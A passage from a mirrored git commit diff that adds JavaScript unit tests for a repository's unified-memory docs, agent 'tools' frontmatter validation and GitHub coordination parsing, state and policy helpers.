mirror of
https://github.com/affaan-m/ECC.git
synced 2026-09-29 04:55:12 +02:00
chore: integrate current main into hardening
This commit is contained in:
Affaan Mustafa
@@ -0,0 +1,69 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const REPO_ROOT = path.join(__dirname, '..', '..');
|
||||
const SKILL_PATHS = [
|
||||
'skills/unified-memory/SKILL.md',
|
||||
'.agents/skills/unified-memory/SKILL.md',
|
||||
'.cursor/skills/unified-memory/SKILL.md',
|
||||
];
|
||||
const RUNTIME_DOC_PATHS = [
|
||||
...SKILL_PATHS,
|
||||
'README.md',
|
||||
'docs/HERMES-SETUP.md',
|
||||
'README.zh-CN.md',
|
||||
'docs/zh-CN/README.md',
|
||||
];
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
passed += 1;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
failed += 1;
|
||||
}
|
||||
}
|
||||
|
||||
function read(relativePath) {
|
||||
return fs.readFileSync(path.join(REPO_ROOT, relativePath), 'utf8');
|
||||
}
|
||||
|
||||
function stripFrontmatter(source) {
|
||||
return source.replace(/^---\r?\n[\s\S]*?\r?\n---\r?\n/, '');
|
||||
}
|
||||
|
||||
console.log('\n=== Testing unified-memory install and adapter surfaces ===\n');
|
||||
|
||||
test('documents the separately installed ECC runtime on every exposed surface', () => {
|
||||
for (const relativePath of RUNTIME_DOC_PATHS) {
|
||||
const source = read(relativePath);
|
||||
assert.match(
|
||||
source,
|
||||
/npm install -g ecc-universal/i,
|
||||
`${relativePath} must state how to install the required CLI runtime`
|
||||
);
|
||||
assert.match(
|
||||
source,
|
||||
/ecc-memory-mcp/,
|
||||
`${relativePath} must identify the optional MCP binary`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('keeps harness-specific unified-memory skill bodies in sync', () => {
|
||||
const bodies = SKILL_PATHS.map(relativePath => stripFrontmatter(read(relativePath)));
|
||||
assert.strictEqual(bodies[1], bodies[0], `${SKILL_PATHS[1]} body drifted`);
|
||||
assert.strictEqual(bodies[2], bodies[0], `${SKILL_PATHS[2]} body drifted`);
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
@@ -0,0 +1,175 @@
|
||||
/**
|
||||
* Focused tests for validate-agents.js tools frontmatter rules.
|
||||
*
|
||||
* Run with: node tests/ci/validate-agents-tools.test.js
|
||||
*/
|
||||
|
||||
const assert = require('assert');
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const { execFileSync } = require('child_process');
|
||||
|
||||
const validatorsDir = path.join(__dirname, '..', '..', 'scripts', 'ci');
|
||||
const repoRoot = path.join(__dirname, '..', '..');
|
||||
const canonicalAgentsDir = path.join(repoRoot, 'agents');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` \u2713 ${name}`);
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.log(` \u2717 ${name}`);
|
||||
console.log(` Error: ${err.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function createTestDir() {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'validate-agents-tools-test-'));
|
||||
}
|
||||
|
||||
function cleanupTestDir(testDir) {
|
||||
fs.rmSync(testDir, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function stripShebang(source) {
|
||||
let s = source;
|
||||
if (s.charCodeAt(0) === 0xFEFF) s = s.slice(1);
|
||||
if (s.startsWith('#!')) {
|
||||
const nl = s.indexOf('\n');
|
||||
s = nl === -1 ? '' : s.slice(nl + 1);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
function runSourceViaTempFile(source) {
|
||||
const tmpFile = path.join(repoRoot, `.tmp-validator-${Date.now()}-${Math.random().toString(36).slice(2)}.js`);
|
||||
try {
|
||||
fs.writeFileSync(tmpFile, source, 'utf8');
|
||||
const stdout = execFileSync('node', [tmpFile], {
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 10000,
|
||||
cwd: repoRoot,
|
||||
});
|
||||
return { code: 0, stdout, stderr: '' };
|
||||
} catch (err) {
|
||||
return {
|
||||
code: err.status || 1,
|
||||
stdout: err.stdout || '',
|
||||
stderr: err.stderr || '',
|
||||
};
|
||||
} finally {
|
||||
fs.rmSync(tmpFile, { force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function runValidatorWithDir(validatorName, dirConstant, overridePath) {
|
||||
const validatorPath = path.join(validatorsDir, `${validatorName}.js`);
|
||||
let source = fs.readFileSync(validatorPath, 'utf8');
|
||||
source = stripShebang(source);
|
||||
const dirRegex = new RegExp(`const ${dirConstant} = .*?;`);
|
||||
source = source.replace(dirRegex, `const ${dirConstant} = ${JSON.stringify(overridePath)};`);
|
||||
return runSourceViaTempFile(source);
|
||||
}
|
||||
|
||||
function readCanonicalAgent(file) {
|
||||
const resolvedPath = path.resolve(canonicalAgentsDir, file);
|
||||
const agentsRoot = path.resolve(canonicalAgentsDir);
|
||||
assert.ok(
|
||||
resolvedPath.startsWith(`${agentsRoot}${path.sep}`),
|
||||
`${file} should resolve inside the canonical agents directory`
|
||||
);
|
||||
return fs.readFileSync(resolvedPath, 'utf8');
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing validate-agents tools frontmatter ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (test('canonical agents declare tools as comma-separated scalars', () => {
|
||||
const agentFiles = fs.readdirSync(canonicalAgentsDir).filter(file => file.endsWith('.md'));
|
||||
|
||||
for (const file of agentFiles) {
|
||||
const content = readCanonicalAgent(file);
|
||||
const frontmatter = content.match(/^---\r?\n([\s\S]*?)\r?\n---/);
|
||||
assert.ok(frontmatter, `${file} should have frontmatter`);
|
||||
|
||||
const toolsLine = frontmatter[1].match(/^tools:\s*(.+)$/m);
|
||||
assert.ok(toolsLine, `${file} should declare a non-empty tools scalar`);
|
||||
assert.ok(
|
||||
!toolsLine[1].trim().startsWith('['),
|
||||
`${file} should use comma-separated scalar tools, not a YAML sequence`
|
||||
);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('accepts comma-separated scalar agent tools', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
fs.writeFileSync(path.join(testDir, 'scalar-tools.md'), '---\nmodel: sonnet\ntools: Read, Glob, Grep\n---\n# Agent');
|
||||
|
||||
const result = runValidatorWithDir('validate-agents', 'AGENTS_DIR', testDir);
|
||||
assert.strictEqual(result.code, 0, `Should accept scalar tools, got stderr: ${result.stderr}`);
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects YAML sequence-form agent tools', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
fs.writeFileSync(path.join(testDir, 'sequence-tools.md'), '---\nmodel: sonnet\ntools: [Read, Glob, Grep]\n---\n# Agent');
|
||||
|
||||
const result = runValidatorWithDir('validate-agents', 'AGENTS_DIR', testDir);
|
||||
assert.strictEqual(result.code, 1, 'Should reject sequence-form tools');
|
||||
assert.ok(
|
||||
result.stderr.includes('comma-separated scalar'),
|
||||
`Should explain the supported tools format, got stderr: ${result.stderr}`
|
||||
);
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects block sequence-form agent tools', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
fs.writeFileSync(path.join(testDir, 'block-sequence-tools.md'), '---\nmodel: sonnet\ntools:\n - Read\n - Glob\n - Grep\n---\n# Agent');
|
||||
|
||||
const result = runValidatorWithDir('validate-agents', 'AGENTS_DIR', testDir);
|
||||
assert.strictEqual(result.code, 1, 'Should reject block sequence-form tools');
|
||||
assert.ok(
|
||||
result.stderr.includes('comma-separated scalar'),
|
||||
`Should explain the supported tools format, got stderr: ${result.stderr}`
|
||||
);
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects explicitly tagged YAML sequence-form agent tools', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
fs.writeFileSync(path.join(testDir, 'tagged-sequence-tools.md'), '---\nmodel: sonnet\ntools: !!seq [Read, Glob, Grep]\n---\n# Agent');
|
||||
|
||||
const result = runValidatorWithDir('validate-agents', 'AGENTS_DIR', testDir);
|
||||
assert.strictEqual(result.code, 1, 'Should reject tagged sequence-form tools');
|
||||
assert.ok(
|
||||
result.stderr.includes('comma-separated scalar'),
|
||||
`Should explain the supported tools format, got stderr: ${result.stderr}`
|
||||
);
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
runTests();
|
||||
@@ -45,6 +45,29 @@ function runTests() {
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('parseFrontmatter normalizes comma-separated scalar tools to an array', () => {
|
||||
const content = '---\nname: scalar-tools\ndescription: Scalar tools\ntools: Read, Glob, Grep\nmodel: sonnet\n---\n\nBody.';
|
||||
const { frontmatter } = parseFrontmatter(content);
|
||||
assert.deepStrictEqual(frontmatter.tools, ['Read', 'Glob', 'Grep']);
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('parseFrontmatter preserves commas inside scoped tool arguments', () => {
|
||||
const content = '---\nname: scoped-tools\ndescription: Scoped tools\ntools: Agent(worker, researcher), Read, Bash\nmodel: sonnet\n---\n\nBody.';
|
||||
const { frontmatter } = parseFrontmatter(content);
|
||||
assert.deepStrictEqual(
|
||||
frontmatter.tools,
|
||||
['Agent(worker, researcher)', 'Read', 'Bash']
|
||||
);
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
|
||||
if (
|
||||
test('parseFrontmatter handles content without frontmatter', () => {
|
||||
const content = 'Just a regular markdown file.';
|
||||
@@ -155,7 +178,7 @@ function runTests() {
|
||||
|
||||
// Create a temp directory with test agent files
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'agent-compress-test-'));
|
||||
const agentContent = '---\nname: test-agent\ndescription: A test agent\ntools: ["Read"]\nmodel: haiku\n---\n\nTest agent body paragraph.\n\n## Details\nMore info.';
|
||||
const agentContent = '---\nname: test-agent\ndescription: A test agent\ntools: Read\nmodel: haiku\n---\n\nTest agent body paragraph.\n\n## Details\nMore info.';
|
||||
fs.writeFileSync(path.join(tmpDir, 'test-agent.md'), agentContent);
|
||||
fs.writeFileSync(path.join(tmpDir, 'not-an-agent.txt'), 'ignored');
|
||||
|
||||
@@ -332,6 +355,10 @@ function runTests() {
|
||||
if (!fs.existsSync(realAgentsDir)) return; // skip if not present
|
||||
const result = buildAgentCatalog(realAgentsDir, { mode: 'catalog' });
|
||||
assert.ok(result.agents.length > 0, 'Should find at least one agent');
|
||||
assert.ok(
|
||||
result.agents.every(agent => Array.isArray(agent.tools) && agent.tools.length > 0),
|
||||
'Every catalog agent should retain its tools as a non-empty array'
|
||||
);
|
||||
assert.ok(result.stats.compressedBytes < result.stats.originalBytes, 'Catalog should be smaller than original');
|
||||
// Verify significant compression ratio
|
||||
const ratio = result.stats.compressedBytes / result.stats.originalBytes;
|
||||
|
||||
@@ -0,0 +1,268 @@
|
||||
/**
|
||||
* Targeted branch coverage tests for uncovered paths in:
|
||||
* scripts/lib/github-coordination/parsing.js
|
||||
* scripts/lib/github-coordination/state.js
|
||||
*
|
||||
* Run with: node tests/lib/github-coordination-branches.test.js
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
|
||||
const {
|
||||
normalizeBodyForComparison,
|
||||
parseStringList,
|
||||
mergeIssueBody,
|
||||
} = require('../../scripts/lib/github-coordination/parsing');
|
||||
|
||||
const {
|
||||
assertIssueClaimable,
|
||||
buildIssueStateFromAction,
|
||||
defaultCoordinationState,
|
||||
desiredLabelsForState,
|
||||
mapStateToWorkItemStatus,
|
||||
verifyDependenciesClosed,
|
||||
} = require('../../scripts/lib/github-coordination/state');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` ✓ ${name}`);
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.log(` ✗ ${name}`);
|
||||
console.log(` Error: ${err.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
console.log('\n=== parsing.js — uncovered branches ===\n');
|
||||
|
||||
console.log('normalizeBodyForComparison:');
|
||||
|
||||
if (test('handles null body (uses empty string fallback)', () => {
|
||||
const result = normalizeBodyForComparison(null);
|
||||
assert.strictEqual(result, '');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('handles undefined body', () => {
|
||||
const result = normalizeBodyForComparison(undefined);
|
||||
assert.strictEqual(result, '');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('normalizes lastSyncAt timestamps in body text', () => {
|
||||
const body = 'before "lastSyncAt": "2024-01-01T00:00:00.000Z", after';
|
||||
const result = normalizeBodyForComparison(body);
|
||||
assert.ok(result.includes('"lastSyncAt": NORMALIZED'));
|
||||
assert.ok(!result.includes('2024-01-01'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nparseStringList:');
|
||||
|
||||
if (test('returns empty array for null', () => {
|
||||
assert.deepStrictEqual(parseStringList(null), []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns empty array for undefined', () => {
|
||||
assert.deepStrictEqual(parseStringList(undefined), []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns empty array for empty string', () => {
|
||||
assert.deepStrictEqual(parseStringList(''), []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('splits a comma-separated string into trimmed parts', () => {
|
||||
assert.deepStrictEqual(parseStringList('a, b , c'), ['a', 'b', 'c']);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('filters out empty parts from double-commas', () => {
|
||||
assert.deepStrictEqual(parseStringList('a,,b'), ['a', 'b']);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nmergeIssueBody — empty body branch:');
|
||||
|
||||
if (test('returns rendered state when issue body is empty string', () => {
|
||||
const state = { status: 'available', schemaVersion: 'v1', kind: 'epic', owner: null, branch: null, validation: 'pending', review: 'not-requested', project: { state: 'backlog', fields: {} }, dependencies: [], tasks: [], labels: [], lastAction: 'sync' };
|
||||
const result = mergeIssueBody({ body: '' }, state);
|
||||
assert.ok(result.includes('ecc-coordination:start'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns rendered state when issue body is null', () => {
|
||||
const state = { status: 'available', schemaVersion: 'v1', kind: 'epic', owner: null, branch: null, validation: 'pending', review: 'not-requested', project: { state: 'backlog', fields: {} }, dependencies: [], tasks: [], labels: [], lastAction: 'sync' };
|
||||
const result = mergeIssueBody({ body: null }, state);
|
||||
assert.ok(result.includes('ecc-coordination:start'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\n=== state.js — uncovered branches ===\n');
|
||||
|
||||
console.log('buildIssueStateFromAction — options absent (false branches):');
|
||||
|
||||
const baseIssue = { number: 1, labels: [], body: '' };
|
||||
const baseState = {
|
||||
schemaVersion: 'v1', kind: 'epic', status: 'available', owner: null,
|
||||
branch: null, validation: 'pending', review: 'not-requested',
|
||||
project: { state: 'backlog', fields: {} }, dependencies: [], tasks: [],
|
||||
labels: [], lastAction: 'sync', lastActionAt: null, lastSyncAt: null, notes: null
|
||||
};
|
||||
|
||||
if (test('buildIssueStateFromAction with no options — does not set owner/branch/etc', () => {
|
||||
const result = buildIssueStateFromAction(baseIssue, baseState, 'sync');
|
||||
assert.strictEqual(result.lastAction, 'sync');
|
||||
assert.strictEqual(result.owner, null);
|
||||
assert.strictEqual(result.branch, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('buildIssueStateFromAction with empty options — all conditional branches skip', () => {
|
||||
const result = buildIssueStateFromAction(baseIssue, { ...baseState }, 'sync', {});
|
||||
assert.ok(typeof result.lastAction === 'string');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('buildIssueStateFromAction — currentState.dependencies not array → re-extracted', () => {
|
||||
const issue = { number: 1, labels: [], body: 'Depends on #5 and #6' };
|
||||
const result = buildIssueStateFromAction(issue, { ...baseState, dependencies: 'not-array' }, 'sync');
|
||||
assert.ok(Array.isArray(result.dependencies));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('buildIssueStateFromAction — currentState.tasks not array → re-extracted', () => {
|
||||
const issue = { number: 1, labels: [], body: '## Tasks\n- [ ] Step 1\n- [x] Step 2' };
|
||||
const result = buildIssueStateFromAction(issue, { ...baseState, tasks: 'not-array' }, 'sync');
|
||||
assert.ok(Array.isArray(result.tasks));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\ndesiredLabelsForState — uncovered status/review/validation branches:');
|
||||
|
||||
if (test('includes published label for status "published"', () => {
|
||||
const labels = desiredLabelsForState({ status: 'published' });
|
||||
assert.ok(labels.includes('coordination:published'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('includes validated label for validation "passed"', () => {
|
||||
const labels = desiredLabelsForState({ status: 'available', validation: 'passed' });
|
||||
assert.ok(labels.includes('coordination:validated'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('includes review-requested label for review "requested"', () => {
|
||||
const labels = desiredLabelsForState({ status: 'available', review: 'requested' });
|
||||
assert.ok(labels.includes('coordination:review-requested'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('includes review-approved label for review "approved"', () => {
|
||||
const labels = desiredLabelsForState({ status: 'available', review: 'approved' });
|
||||
assert.ok(labels.includes('coordination:review-approved'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('includes review-changes-requested label for review "changes-requested"', () => {
|
||||
const labels = desiredLabelsForState({ status: 'available', review: 'changes-requested' });
|
||||
assert.ok(labels.includes('coordination:review-changes-requested'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nmapStateToWorkItemStatus — uncovered switch cases:');
|
||||
|
||||
if (test('"validated" → "in-progress"', () => {
|
||||
assert.strictEqual(mapStateToWorkItemStatus('validated'), 'in-progress');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('"reviewing" → "in-progress"', () => {
|
||||
assert.strictEqual(mapStateToWorkItemStatus('reviewing'), 'in-progress');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('"changes-requested" → "needs-review"', () => {
|
||||
assert.strictEqual(mapStateToWorkItemStatus('changes-requested'), 'needs-review');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('"published" → "done"', () => {
|
||||
assert.strictEqual(mapStateToWorkItemStatus('published'), 'done');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('"unknown-state" → "open" (default)', () => {
|
||||
assert.strictEqual(mapStateToWorkItemStatus('unknown-state'), 'open');
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nassertIssueClaimable:');
|
||||
|
||||
if (test('throws when issue is not open', () => {
|
||||
assert.throws(
|
||||
() => assertIssueClaimable({ number: 1, state: 'closed' }, { status: 'available' }),
|
||||
/is not open/
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('throws when issue is already claimed', () => {
|
||||
assert.throws(
|
||||
() => assertIssueClaimable({ number: 1, state: 'open' }, { status: 'claimed', owner: 'alice' }),
|
||||
/already claimed/
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('does not throw for open, unclaimed issue', () => {
|
||||
assert.doesNotThrow(() => {
|
||||
assertIssueClaimable({ number: 1, state: 'open' }, { status: 'available' });
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nverifyDependenciesClosed:');
|
||||
|
||||
if (test('returns empty array when dependencyNumbers is not an array', () => {
|
||||
const result = verifyDependenciesClosed('r/r', null, {}, []);
|
||||
assert.deepStrictEqual(result, []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns empty array when dependencyNumbers is empty', () => {
|
||||
const result = verifyDependenciesClosed('r/r', [], {}, []);
|
||||
assert.deepStrictEqual(result, []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns closed issues when dependency is in closed state', () => {
|
||||
const issues = [{ number: 5, state: 'closed' }, { number: 6, state: 'open' }];
|
||||
const result = verifyDependenciesClosed('r/r', [5, 6], {}, issues);
|
||||
assert.deepStrictEqual(result, [5]);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('warns via stderr and skips when dependency issue is not in allIssues list', () => {
|
||||
const issues = [{ number: 99, state: 'closed' }];
|
||||
const originalWrite = process.stderr.write;
|
||||
let stderrOutput = '';
|
||||
process.stderr.write = (chunk) => {
|
||||
stderrOutput += chunk;
|
||||
return true;
|
||||
};
|
||||
let result;
|
||||
try {
|
||||
result = verifyDependenciesClosed('r/r', [5], {}, issues);
|
||||
} finally {
|
||||
process.stderr.write = originalWrite;
|
||||
}
|
||||
assert.deepStrictEqual(result, []);
|
||||
assert.ok(stderrOutput.includes('dependency issue #5 not found'), `expected stderr warning, got: ${stderrOutput}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\ndefaultCoordinationState — edge branches:');
|
||||
|
||||
if (test('owner is null when issue has no author', () => {
|
||||
const result = defaultCoordinationState({ number: 1, labels: [] });
|
||||
assert.strictEqual(result.owner, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('owner is null when issue.author has no login', () => {
|
||||
const result = defaultCoordinationState({ number: 1, labels: [], author: {} });
|
||||
assert.strictEqual(result.owner, null);
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('owner is set from issue.author.login', () => {
|
||||
const result = defaultCoordinationState({ number: 1, labels: [], author: { login: 'alice' } });
|
||||
assert.strictEqual(result.owner, 'alice');
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('handles null issue', () => {
|
||||
const result = defaultCoordinationState(null);
|
||||
assert.strictEqual(result.owner, null);
|
||||
assert.deepStrictEqual(result.dependencies, []);
|
||||
assert.deepStrictEqual(result.tasks, []);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\n Results: ${passed} passed, ${failed} failed`);
|
||||
if (failed > 0) process.exit(1);
|
||||
@@ -0,0 +1,310 @@
|
||||
/**
|
||||
* Tests for scripts/lib/github-coordination/policy.js — loadPolicy branch coverage
|
||||
*
|
||||
* Run with: node tests/lib/github-coordination-policy.test.js
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
|
||||
const {
|
||||
loadPolicy,
|
||||
DEFAULT_POLICY,
|
||||
DEFAULT_LABELS,
|
||||
DEFAULT_SCHEMA_VERSION,
|
||||
DEFAULT_SECTION_MARKER,
|
||||
} = require('../../scripts/lib/github-coordination/policy');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` ✓ ${name}`);
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.log(` ✗ ${name}`);
|
||||
console.log(` Error: ${err.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function withTempDir(fn) {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-policy-test-'));
|
||||
try {
|
||||
fn(tmpDir);
|
||||
} finally {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function writeConfig(tmpDir, content) {
|
||||
const configDir = path.join(tmpDir, 'config');
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
const configPath = path.join(configDir, 'github-native-coordination.json');
|
||||
fs.writeFileSync(configPath, typeof content === 'string' ? content : JSON.stringify(content));
|
||||
return configPath;
|
||||
}
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
console.log('\n=== Testing github-coordination/policy.js ===\n');
|
||||
|
||||
console.log('loadPolicy — no config file:');
|
||||
|
||||
if (test('returns default policy when no config file exists in rootDir', () => {
|
||||
withTempDir(tmpDir => {
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.sourcePath, null);
|
||||
assert.strictEqual(result.schemaVersion, DEFAULT_SCHEMA_VERSION);
|
||||
assert.strictEqual(result.sectionMarker, DEFAULT_SECTION_MARKER);
|
||||
assert.deepStrictEqual(result.labels, DEFAULT_LABELS);
|
||||
assert.deepStrictEqual(result.review, DEFAULT_POLICY.review);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('returns default policy when custom configPath does not exist', () => {
|
||||
withTempDir(tmpDir => {
|
||||
const result = loadPolicy(tmpDir, path.join(tmpDir, 'nonexistent.json'));
|
||||
assert.strictEqual(result.sourcePath, null);
|
||||
assert.deepStrictEqual(result.review, DEFAULT_POLICY.review);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — configPath argument:');
|
||||
|
||||
if (test('uses configPath when explicitly provided', () => {
|
||||
withTempDir(tmpDir => {
|
||||
const configPath = path.join(tmpDir, 'my-policy.json');
|
||||
fs.writeFileSync(configPath, JSON.stringify({ schemaVersion: 'custom-v1' }));
|
||||
const result = loadPolicy(tmpDir, configPath);
|
||||
assert.strictEqual(result.sourcePath, configPath);
|
||||
assert.strictEqual(result.schemaVersion, 'custom-v1');
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to rootDir config file when configPath is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { schemaVersion: 'root-v1' });
|
||||
const result = loadPolicy(tmpDir, null);
|
||||
assert.strictEqual(result.schemaVersion, 'root-v1');
|
||||
assert.ok(result.sourcePath !== null);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — invalid JSON:');
|
||||
|
||||
if (test('throws on invalid JSON', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, '{ bad json !!!! }');
|
||||
assert.throws(() => loadPolicy(tmpDir), /Failed to load policy/);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — non-object JSON:');
|
||||
|
||||
if (test('throws when top-level JSON is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, 'null');
|
||||
assert.throws(() => loadPolicy(tmpDir), /must contain a JSON object/);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('throws when top-level JSON is an array', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, '[]');
|
||||
assert.throws(() => loadPolicy(tmpDir), /must contain a JSON object/);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('throws when top-level JSON is a string', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, '"just a string"');
|
||||
assert.throws(() => loadPolicy(tmpDir), /must contain a JSON object/);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — labels merging:');
|
||||
|
||||
if (test('merges labels when parsed.labels is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { labels: { epic: 'my-epic' } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.labels.epic, 'my-epic');
|
||||
assert.strictEqual(result.labels.available, DEFAULT_LABELS.available);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to empty labels when parsed.labels is null', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { labels: null });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.labels, DEFAULT_LABELS);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to empty labels when parsed.labels is an array', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { labels: ['a', 'b'] });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.labels, DEFAULT_LABELS);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back to empty labels when parsed.labels is a string', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { labels: 'bad' });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.deepStrictEqual(result.labels, DEFAULT_LABELS);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log('\nloadPolicy — review merging:');
|
||||
|
||||
if (test('merges review when parsed.review is a plain object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
writeConfig(tmpDir, { review: { required: false } });
|
||||
const result = loadPolicy(tmpDir);
|
||||
assert.strictEqual(result.review.required, false);
|
||||
assert.strictEqual(result.review.defaultMode, DEFAULT_POLICY.review.defaultMode);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('falls back when parsed.review is not an object', () => {
|
||||
withTempDir(tmpDir => {
|
||||
